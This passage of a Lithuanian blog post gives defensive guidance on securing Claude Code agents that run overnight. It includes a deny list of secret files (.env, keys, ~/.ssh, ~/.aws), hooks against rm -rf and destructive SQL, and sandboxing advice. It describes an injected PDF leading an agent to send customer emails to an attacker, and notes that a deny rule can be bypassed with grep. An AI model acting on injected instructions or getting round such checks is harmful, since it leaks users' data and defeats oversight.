Kodėl reikia juos atskirti? Jei viena sesija daro viską, užtenka vienos užklausos, įterptos į pasodintą PDF failą (konkurento agentūra atsiuntė „sąskaitą“), kad agentas vienu kartu perskaitytų klientų duomenų bazę, rastų jų el. pašto adresus ir išsiųstų juos užpuolikui. Kiekvienas šios grandinės veiksmas atskirai teisėtas savo užduoties tipui, tačiau kartu tai yra duomenų nutekėjimas.
Baisiausia duomenų išviliojimo schema nėra viena netinkama komanda. Tai visiškai įprastų veiksmų grandinė. Agentas perskaito .env (leidžiama), išsiunčia jį HTTP protokolu (leidžiama) ir tiek.
— ibrahim_h, HackerNews
Praktiškai tai įgyvendinama skirtingiems užduočių tipams naudojant atskirus `.claude` katalogus. Galima naudoti tris konfigūracijas: `~/projects/business-ops/.claude/` (1 tipas, prieiga prie duomenų bazės, tinklas uždraustas, išskyrus vidines API), `~/projects/inbox-parsing/.claude/` (2 tipas, visas tinklas uždraustas), `~/projects/social-posting/.claude/` (3 tipas, tinklas leidžiamas Telegram, socialinio tinklo ir Slack API). Claude Code kiekvieną katalogą laiko atskiru projektu su atskirais leidimais ir hook'ais.
## Kokius 12 punktų patikrinu prieš paleisdamas /loop?
Svarbiausia mintis
12 punktų kontrolinis sąrašas, kurį patikrinu prieš paleisdamas `/loop`, `/schedule` arba `claude --bg` nakčiai. Jis apima viską nuo pagrindinio deny faile `~/.claude/settings.json` iki `/sandbox` su tinklo izoliacija. Jei net vienas punktas neįvykdytas, nepaleidžiu.
1. Failas `~/.claude/settings.json` su naudotojo lygmens `deny` taisyklėmis `.env*`, `*.pem`, `*.key`, `credentials*.json`, `~/.ssh/**`, `~/.aws/**`. Tai pagrindas — be jo kitos priemonės beprasmės.
2. `disableBypassPermissionsMode: "disable"` faile `~/.claude/settings.json`. Visam laikui blokuoja YOLO vėliavą.
3. `block-secret-reads.sh` pavyzdžiai išbandyti su pasirinktomis paslapčių skaitymo komandomis; tikros paslaptys ir produkciniai prisijungimo duomenys sesijai be priežiūros nepasiekiami.
4. `block-force-push.sh` pavyzdys blokuoja atpažintus pažodinius išsiuntimus nepriklausomai nuo parinkčių tvarkos ar paskirties; apsaugotas šakas ir neapeinamus prisijungimo duomenis užtikrina Git serveris.
5. Hook'as `block-destructive-sql.sh`, skirtas `DROP TABLE`, `TRUNCATE` ir `DELETE FROM` be `WHERE`.
6. Hook'as `block-rm-rf.sh`, skirtas `rm -rf` be aiškiai nurodytos apimties.
7. Hook'as `ask-on-new-deps.sh`, skirtas `npm install ` (atskirai nuo `npm install` be argumentų).
8. Hook'as `ask-on-lockfile-change.sh`, skirtas rašymui į `package.json`, `pnpm-lock.yaml`, `requirements.txt`, `pyproject.toml` ir `Cargo.toml`.
9. Bendras `audit.jsonl` žurnalas, kuriame registruojami visi Bash, Write ir Edit iškvietimai. Be jo neįmanoma atlikti įvykių analizės.
10. Visos ilgos sesijos fone vykdomos worktree, o ne pagrindinėje šakoje: `claude --bg "task"` automatiškai sukuria worktree, tačiau patikrinkite, ar faile `settings.json` nenustatyta `worktree.bgIsolation: "none"`.
11. Prieš pradedant ilgą autonominę užduotį įjunkite `/sandbox`. Failų sistema apribojama projekto katalogu ir `/tmp`. Tinklas naudoja leidžiamų adresų sąrašą: api.anthropic.com, github.com ir registry.npmjs.org.
12. Įtraukite patikros veiksmą į pačią užduotį: po kiekvieno didesnio pakeitimo paleiskite testų vykdyklę arba linterį. Jei jie nepraeina, agentas netęsia darbo, kol klaidos neištaisytos.
Paskutinis punktas susijęs su darbo eiga, o ne įrankio nustatymu. Suteikite Claude būdą patikrinti savo darbą. Be patikros naktinis agentas kartoja „manau, padariau teisingai, tęsiu darbą“ ir kaupia klaidas iki ryto. Atlikęs patikrą, jis netęsia darbo, kol ji nepraeina.
## 7 klaidos, kurių reikėtų vengti
Svarbiausia mintis
Septynios dažnos aprašytų projektų klaidos: naudoti `--dangerously-skip-permissions` kompiuteryje, turinčiame prieigą prie gamybinės aplinkos, pasikliauti vien `CLAUDE.md`, tikėti `permissions.deny` neįdiegus papildomo hook'o ir naudoti auto-mode be atsarginių taisyklių. Kiekviena klaida susijusi su šaltiniuose aprašytais realiais incidentais.
**1. `--dangerously-skip-permissions` kompiuteryje, turinčiame prieigą prie gamybinės aplinkos.** Browningstreet vienu „sutvarkyk“ nurodymu prarado gamybinę ir kūrimo duomenų bazes. Klaidos kaina — valandos atkūrimo darbų ir duomenys, kurių nėra atsarginėje kopijoje. Jei incidentas jau įvyko, atidarykite [„Ką daryti, jei DI ištrynė duomenų bazę: atkūrimo kontrolinis sąrašas“](https://ailoot.ai/blog/lt/ai-deleted-database-recovery/) ir nuosekliai atlikite 10 veiksmų.
**2. Saugumu rūpintis tik per `CLAUDE.md`.** Problema \#44868 įrodė, kad modelis pirmiausia veikia, o tik tada atsiprašo. Nurodymas tekstiniame faile neužblokuoja įrankio iškvietimo. Tinkamai sukonfigūruotas hook gali blokuoti atitinkančius iškvietimus, o operacinės sistemos, smėlio dėžės ir paslaugos prieigos valdikliai užtikrina platesnes ribas. `CLAUDE.md` svarbus projekto kontekstui — apie tai atskirai rašiau vadove [„Kaip teisingai sukonfigūruoti CLAUDE.md“](https://ailoot.ai/blog/lt/claude-md-template/) — tačiau jis neapsaugo nuo autonominio agento.
**3. Pasikliauti vien `permissions.deny` faile `settings.json` ir neįdiegti papildomo hook'o.** Problema \#24846 neišspręsta nuo 2026 m. vasario. `.env*` deny taisyklę galima apeiti naudojant Bash `grep`. Hook gali pridėti patikrų, tačiau paslaptys taip pat turi būti pašalintos iš aplinkos be priežiūros; reguliarioji išraiška nėra išsamus prieigos kontrolės pakaitalas.
**4. Auto-mode ir reguliariųjų išraiškų hook laikyti produkcine izoliacija.** Cituojamas klaidingai neigiamų atsakymų rodiklis susijęs su konkrečiu vertinimu, o hook aprėptis neišsami. Pašalinkite produkcinio rašymo prisijungimo duomenis ir patikrinkite užtikrintą ribą, užuot manę, kad kiekvienas pavojingas veiksmas bus perimtas.
**5. Įdiegti naują paketą su `npm install` be patvirtinimo.** Tiekimo grandinės atakos — reali grėsmė. 2024–2026 m. Tea-tags incidentai parodė, kad egzistuoja tūkstančius atsisiuntimų turinčių paketų klaidinančiais pavadinimais. Reikalingas leidžiamų paketų sąrašas.
**6. Neregistruoti Bash iškvietimų.** Neturėdami audito žurnalo negalėsite suprasti, kas įvyko naktį. Pokalbio stenograma ilga, joje negalima ieškoti pagal komandą ir joje nėra įvykių sekos. `.claude/audit.jsonl` išsprendžia abi problemas.
**7. Nenaudoti worktree fone veikiančioms sesijoms.** To paties katalogo lygiagrečios sesijos trukdo viena kitos darbui. Claude Code nustatymas `worktree.bgIsolation` pagal numatymą įjungtas nuo 2.1.143 versijos, tačiau patikrinkite savo nustatymus.
Ir svarbiausia, ko negali sustabdyti joks hook'as ar nustatymas:
Ši frazė nėra apie stilių. Už gamybinės aplinkos apsaugą atsakingas žmogus, kuris paleido agentą. Claude Code — tarsi tiesus skustuvas: juo galima skustis, bet galima ir įsipjauti. Konfigūracija atsako į klausimą: ar pakankamai gerai paruošėte aplinką, kad skustuvas nenupjautų nieko, ko nederėtų?
### Šaltiniai
- [Anthropic Claude Code nustatymai – oficiali dokumentacija](https://code.claude.com/docs/en/settings)
- [Anthropic Claude Code hook'ai – oficiali dokumentacija](https://code.claude.com/docs/en/hooks)
- [Anthropic Claude Code saugumas – oficiali dokumentacija](https://code.claude.com/docs/en/security)
- [Anthropic Engineering: Claude Code smėlio dėžė (20.10.2025)](https://www.anthropic.com/engineering/claude-code-sandboxing)
- [Anthropic Engineering: auto mode ir saugumo klasifikatorius (25.03.2026)](https://www.anthropic.com/engineering/claude-code-auto-mode)
- [Claude Code CHANGELOG (versijos 2.1.157, 2.1.160)](https://raw.githubusercontent.com/anthropics/claude-code/main/CHANGELOG.md)
Pasiruošimas incidentams yra **konteksto inžinerijos** dalis: iš anksto apribojate, ką agentas gali daryti, ir taip leidžiate jam atlikti norimus darbus.
Daugiau išteklių rasite [Ailoot](https://ailoot.ai/).
## Klausimai ir atsakymai
### Ar priverstinio push hook apsaugos produkciją nuo kiekvienos shell komandos?
Ne. Pataisytas pavyzdys blokuoja atpažintus pažodinius git push iškvietimus, įskaitant abi parinkčių tvarkas, numanomas šakas, refspec ir įprastas komandų grandines. Pseudonimai, apvalkalai ir konstruojamos komandos gali apeiti šią teksto patikrą; užtikrinkite apsaugotas šakas ir pašalinkite apeinančius prisijungimo duomenis.
### Ko reikia prieš paliekant agentą veikti per naktį?
Naudokite izoliuotą aplinką be produkcinės rašymo prieigos ar skaitomų paslapčių, patikrinkite tinklo ir paslaugos apribojimus bei išbandykite numatytas hook atitiktis ir praleidimus. Hook prideda patikrų, bet nepakeičia šių užtikrintų ribų.
## Ailoot · Įmonė ir jos projektų portfelis
Ailoot remiasi sukaupta veiklos patirtimi, plačia klientų baze, stabiliomis paslaugomis ir nuolatine KPI kontrole.
Įmonė ir jos projektų portfelis: milijonai klientų; mėnesio pardavimai siekia milijardus.
Ailoot šią veiklos patirtį pritaiko teikdama API prieigą prie DI funkcijų klientų produktuose, agentuose, programose ir automatizavimo sprendimuose.